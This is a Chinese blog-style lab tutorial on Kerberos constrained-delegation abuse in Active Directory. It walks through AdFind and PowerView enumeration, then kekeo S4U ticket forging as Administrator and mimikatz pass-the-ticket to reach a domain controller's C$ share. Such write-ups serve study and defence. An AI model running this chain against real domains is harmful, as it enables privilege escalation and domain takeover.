本公众号提供的资料和信息仅供学习交流,不得用于非法用途;
对于因使用本公众号内容而产生的任何直接或间接损失,本公众号不承担任何责任;
本公众号尊重他人的知识产权,如有侵犯您的合法权益,请及时联系我们,我们将尽快处理。
原理
- 获取委派权限的服务账号
- 攻击者获取了一个配置了约束性委派的服务账号(如
Service-A
)。 - 该账号在Active Directory中被设置为可委派给特定服务(如域控的LDAP服务)。
- 伪造用户身份(S4U2Self)
- 攻击者利用Kerberos协议的 S4U2Self机制:
- 即使某个用户从未登录过
Service-A
,Service-A
也可直接向KDC申请该用户的ST。 - 例如,攻击者让
Service-A
申请一个管理员用户的ST。
- 转发票据访问目标服务(S4U2Proxy)
- 攻击者进一步利用S4U2Proxy(Service-for-User-to-Proxy) 机制:
- 将上一步伪造的ST作为凭据,向 KDC申请访问约束性委派允许的目标服务(如域控的LDAP服务)。
- KDC检查
Service-A
是否有权限委派到目标服务,若有则发放目标服务的 ST。
- 提权或横向移动
- 攻击者用最终获得的ST访问目标服务(如域控),由于票据代表的是高权限用户(如管理员),此时就可以执行敏感操作。
实验环境准备(DC执行)
- 为
guy02
用户账户注册一个特定的服务主体名称(SPN)
setspn -U -A MSSQLSvc/mssql.lazy.com:1433 guy02
- 给服务账户设置非约束委派(以委派域控的CIFS服务为例)
- 添加计算机
- 添加服务
查询域内约束性委派账号
- Adfind
- 注意,查到什么服务,后续就只能用什么服务进行攻击
//查询域中配置了约束性委派的主机以及被委派的SPN
AdFind.exe -b "DC=lazy,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
//查询域中配置了约束性委派的服务账户以及被委派的SPN
AdFind.exe -b "DC=lazy,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
- powershell脚本
Import-Module .powerview.ps1;
//查询域中配置了约束性委派的主机
Get-DomainComputer -TrustedToAuth -Domain lazy.com | select name,msds-allowedtodelegateto
//查询域中配置了约束性委派的账号
Get-DomainUser -TrustedToAuth -Domain lazy.com | select name,msds-allowedtodelegateto
约束性委派攻击方式
- 利用kekeo导出guy02用户的TGT
kekeo.exe
tgt::ask /domain:lazy.com /user:guy02 /password:l@123456
- 基于已有的TGT,请求一个针对特定服务的ST
tgs::s4u /tgt:TGT_guy02@LAZY.COM_krbtgt~lazy.com@LAZY.COM.kirbi /user:Administrator@lazy.com /service:cifs/AD-SERVER2016.lazy.com
- 使⽤mimikatz将ST注入当前会话
mimikatz.exe
kerberos::ptt TGS_Administrator@lazy.com@LAZY.COM_cifs~AD-SERVER2016.lazy.com@LAZY.COM.kirbi
- 注入成功后就可以访问域控了
dir \AD-server2016c$
- 注意:查询委派账号的时候,只有是域控的服务才能拿到域控,如果是其它账号的服务,就只能拿到其它机器的权限
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...